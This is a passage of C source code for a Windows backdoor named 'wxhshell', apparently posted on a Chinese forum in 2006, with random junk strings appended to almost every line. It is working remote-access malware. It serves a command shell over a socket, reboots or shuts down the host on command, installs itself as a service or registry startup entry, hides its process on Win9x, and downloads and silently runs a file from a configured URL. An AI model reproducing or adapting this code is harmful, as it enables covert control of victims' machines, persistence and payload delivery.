      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5 =Z!hQ}  
    break; Uix{"  
  } qI2'u%  
  // 安装 "l,UOv c  
  case 'i': { =!,Gst_  
    if(Install()) O3%[dR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s#^pC*,'  
    else k/lFRi-i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K{b-TT 4  
    break; @GG ccF  
    } 2c:f<>r0y  
  // 卸载 &1Fply7(Ay  
  case 'r': { l4ouZR  
    if(Uninstall()) 8#f$rs(}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ax@H"d&  
    else 7co`Zw4}g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d^84jf.U  
    break; OD+5q(!"a  
    } P(h5=0`*PR  
  // 显示 wxhshell 所在路径 2p:r`THvS5  
  case 'p': { zk=\lp2  
    char svExeFile[MAX_PATH]; e|'N(D}h*  
    strcpy(svExeFile,"\n\r"); 6^YJ]w  
      strcat(svExeFile,ExeFile); & _K*kI:  
        send(wsh,svExeFile,strlen(svExeFile),0); ]d'^Xs  
    break; K/Y Agg  
    } BUC,M:J+H  
  // 重启 tWD|qg_  
  case 'b': { 9?`RR/w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +LzovC@^  
    if(Boot(REBOOT)) `6Hf&u<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 97!5Q~I  
    else {  T-8J   
    closesocket(wsh); 2Q ayM?k8  
    ExitThread(0); e.;M.8N#SQ  
    } )U(u>SV(\  
    break; ^7u#30,}3~  
    } (5`T+pAsV  
  // 关机 N z~" vi(t  
  case 'd': { 1D{#rA.X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -M61 Mw1  
    if(Boot(SHUTDOWN)) s AE9<(g&@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =!<G!^  
    else { mG(N:n%*K  
    closesocket(wsh); n Ga1a  
    ExitThread(0); T1N H eH>  
    } v>-Y uS  
    break; F?4Sz#  
    } ;^-:b(E  
  // 获取shell p4mY0Y]mP  
  case 's': { ]T^ is>  
    CmdShell(wsh); Y60"M4j  
    closesocket(wsh); . U/k<v<)6  
    ExitThread(0); G5c7:iGm/c  
    break; )HVcG0H1  
  } Tsz NlRxc  
  // 退出 jA`a/v Wu  
  case 'x': { W_<4WG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @"8R3BN  
    CloseIt(wsh); ;<-7*}Dj  
    break; rn" pKUd  
    } \P?A7vuhLs  
  // 离开 s4,(26y  
  case 'q': { }kPVtSQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;CmOsA,1  
    closesocket(wsh); !N~*EI$  
    WSACleanup(); nem@sB;v#  
    exit(1); L[C*@ uK  
    break; gq4 . d  
        } DuNcX$%%  
  } <t}?$1  
  } u!1/B4!'O  
B8~= RmWLl  
  // 提示信息 (@Zcx9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dVGbe07  
} #nEL~&  
  } \A(5;ZnuD  
3k{ @.V ?]  
  return; .#!mDlY;  
} ,- HIFbXx@  
(I=6Nnt'  
// shell模块句柄 `-O= >U5nH  
int CmdShell(SOCKET sock) 2R`u[  
{ ?,% TU&Yn  
STARTUPINFO si; 0Q1/n2V  
ZeroMemory(&si,sizeof(si)); 4<}A]BQVkJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ']?=[`#NL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y6VQ:glDT-  
PROCESS_INFORMATION ProcessInfo; J Jy{@[m  
char cmdline[]="cmd"; p\S8oHWe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0Hcbkep9D  
  return 0; n\= (S9  
} 4VFc|g  
OCW+?B;  
// 自身启动模式 3qo e^e  
int StartFromService(void) k18$JyaG  
{ e &3#2_  
typedef struct *Nlu5(z  
{ O5;-Om  
  DWORD ExitStatus; o!Fl]3F  
  DWORD PebBaseAddress; H#+xKYrp  
  DWORD AffinityMask; @HEPc95  
  DWORD BasePriority; .B$h2#i1  
  ULONG UniqueProcessId; a:u}d7T3e  
  ULONG InheritedFromUniqueProcessId; ]u=Ca#!'  
}   PROCESS_BASIC_INFORMATION; j9xXKa5  
lzfDH =&  
PROCNTQSIP NtQueryInformationProcess; ORH93`  
0j$OE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hW%p#g;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FpzP #;  
`Bu9Nq  
  HANDLE             hProcess; D5` (}  
  PROCESS_BASIC_INFORMATION pbi; b1=pO]3u  
[TCRB`nTQF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _,Q[2gQ5N  
  if(NULL == hInst ) return 0; !$r9C/k  
3bts7<K=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^s*\Qw{Ii  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); evOb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :bv|Ah  
#!d]PH746  
  if (!NtQueryInformationProcess) return 0; -f.R#J$2  
.Cr1,Po  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &<h?''nCy  
  if(!hProcess) return 0; R 3G@ G  
iQ{z6Qa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C BlXC7_Mi  
;+%Z@b%  
  CloseHandle(hProcess); wOcg4HlW  
)E`+BH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oKiD8':  
if(hProcess==NULL) return 0; q?i Cc c  
oD,C<[(p  
HMODULE hMod;  UTX](:TC  
char procName[255]; wlVvxX3%  
unsigned long cbNeeded; BWEv1' v  
sVoR?peQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;eh/_hPM  
[; @):28"  
  CloseHandle(hProcess); CB({Rn  
%uuH^A  
if(strstr(procName,"services")) return 1; // 以服务启动 ?9S+Cj`  
`[@VxGy_  
  return 0; // 注册表启动 yFO)<GLk  
} J@<!q  
G>0)I  
// 主模块 f".q9{+p,  
int StartWxhshell(LPSTR lpCmdLine) ue9h   
{ J)huy\>,  
  SOCKET wsl; qUg9$oh{LI  
BOOL val=TRUE; v= 8VvT 8  
  int port=0; |."G?*  
  struct sockaddr_in door; h0XH`v  
Bb_Q_<DTs  
  if(wscfg.ws_autoins) Install(); LP?P=c  
_H2tZ%RM  
port=atoi(lpCmdLine); >Bx8IO1_\d  
5Hy3\_ +  
if(port<=0) port=wscfg.ws_port; ucM.Ro=@  
~o Fh>9u  
  WSADATA data; eP?~- #  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %`oHemSy  
qmID-t"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s7M}NA 0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^$}/|d(  
  door.sin_family = AF_INET; Gc^t%Ue-H)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G1p'p&x.  
  door.sin_port = htons(port); to51hjV  
-p^'XL*Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +,wWhhvlzv  
closesocket(wsl); B~rU1Y)  
return 1; raF] k0{  
} @Wz%KdXA  
jYk5~<\k  
  if(listen(wsl,2) == INVALID_SOCKET) { dq2@6xd  
closesocket(wsl); Dt|fDw$]D  
return 1; 19&)Yd1  
} %yKKUZ~  
  Wxhshell(wsl); _'lmCj8L  
  WSACleanup(); UEN56@eCNf  
RxMoD.kx  
return 0; $^IjFdD  
Qpw@MF2P  
} l# BZzJ?~  
nj"m^PmWo3  
// 以NT服务方式启动 _j>L4bT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h[,XemwX  
{ Oc~VHT  
DWORD   status = 0; H\d;QN9Q;  
  DWORD   specificError = 0xfffffff; kw#X]`c3  
N5ci};?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a_AJ)4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /]g>#J%b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S%{lJYwXt  
  serviceStatus.dwWin32ExitCode     = 0; n5\}KZh  
  serviceStatus.dwServiceSpecificExitCode = 0; w -M7opkq  
  serviceStatus.dwCheckPoint       = 0; J7Sx!PQ  
  serviceStatus.dwWaitHint       = 0; :i}@Br+R7L  
D=JlA~tS>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k|5k8CRX  
  if (hServiceStatusHandle==0) return; +8eVj#N  
o Fi) d[`  
status = GetLastError(); IF e+ B"  
  if (status!=NO_ERROR) IE}Sdeqi)  
{ P]- #wz=S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y=|CPE%V  
    serviceStatus.dwCheckPoint       = 0; /wlFD,+8  
    serviceStatus.dwWaitHint       = 0; I[%M!_+  
    serviceStatus.dwWin32ExitCode     = status; #:Xa'D+  
    serviceStatus.dwServiceSpecificExitCode = specificError; xjE7DCmA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {H'X)n$  
    return; ZLuPz#  
  } +2El  
8,H~4Ce3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w7r'SCVh3+  
  serviceStatus.dwCheckPoint       = 0; 1Lc8fP$  
  serviceStatus.dwWaitHint       = 0; 0a@c/ XGBp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CxkMhd8qz  
} nqrDT1b**  
T"IW Jpc  
// 处理NT服务事件,比如:启动、停止 88#N~j~P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B9AbKK$`  
{ b70AJe=  
switch(fdwControl) SbCJ|z#?  
{ eA1'qww"'  
case SERVICE_CONTROL_STOP: q{[1fE"[K4  
  serviceStatus.dwWin32ExitCode = 0; wzg i @i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K` 2i  
  serviceStatus.dwCheckPoint   = 0; 16L"^EYq  
  serviceStatus.dwWaitHint     = 0; |MVV +.X  
  { ig+k[`W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2G H)iUmc  
  } :)j7U3u  
  return; JOPTc]  
case SERVICE_CONTROL_PAUSE: !#C)99L"F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o16d`}/<  
  break; T:Bzz)2/  
case SERVICE_CONTROL_CONTINUE: KoFv0~8Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5R)[Ou.  
  break; RZ<.\N (M  
case SERVICE_CONTROL_INTERROGATE: ": nI_~q  
  break; =?^-P{:\?  
}; ,Io0ZE>`V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NWeV>;lh9  
} 5%'o%`?i  
t&3 8@p  
// 标准应用程序主函数 $4sA nu]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 80dSQ"y  
{ tD865gi  
N=.}h\{0  
// 获取操作系统版本 >}mNi:6xq  
OsIsNt=GetOsVer(); dWMccn;-m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3Nc'3NPQ'  
[1e.i  
  // 从命令行安装 $x/J+9Ww  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3Sk5I%  
EkDws `@  
  // 下载执行文件 GpScc'a7  
if(wscfg.ws_downexe) { makaI0M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U-ERhm>uk  
  WinExec(wscfg.ws_filenam,SW_HIDE); pz.Y=V\t  
} coW)_~U|  
L(W%~UGN V  
if(!OsIsNt) { LE<:.?<Z-  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^kc>m$HY  
HideProc(); -?[O"D"c  
StartWxhshell(lpCmdLine); Tq.MubaO  
} iOKr9%9?Z  
else  y/z9Ce*>  
  if(StartFromService()) p!C_:Z5i  
  // 以服务方式启动 xP XoJN  
  StartServiceCtrlDispatcher(DispatchTable); H^ESA s6  
else *Rz!i m|  
  // 普通方式启动 jQO* oq}  
  StartWxhshell(lpCmdLine); 0kkRK*fp}x  
'9f6ZAnYpQ  
return 0; 7sCR!0  
}
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只看该作者 1 发表于: 2006-10-10
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